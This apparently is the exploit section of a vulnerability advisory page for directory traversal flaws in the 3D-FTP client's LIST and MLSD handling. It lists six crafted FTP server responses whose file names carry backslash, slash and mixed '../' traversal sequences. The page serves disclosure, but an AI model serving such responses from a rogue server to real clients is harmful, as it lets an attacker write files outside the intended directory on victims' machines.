• info
• discussion
• exploit
• solution
• references

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

Attackers can exploit this issue by enticing an unsuspecting user to connect to a maliciously crafted FTP server.

The following example responses are available:
Response to LIST (backslash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 /../../../../../../../../../testfile.txt\r\n

Response to LIST (combination):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n

Response to MLSD (backslash):
type=file;modify=20080227074710;size=20; \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to MLSD (forward-slash):
type=file;modify=20080227074710;size=20; /../../../../../../../../../testfile.txt\r\n

Response to MLSD (combination):
type=file;modify=20080227074710;size=20; ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n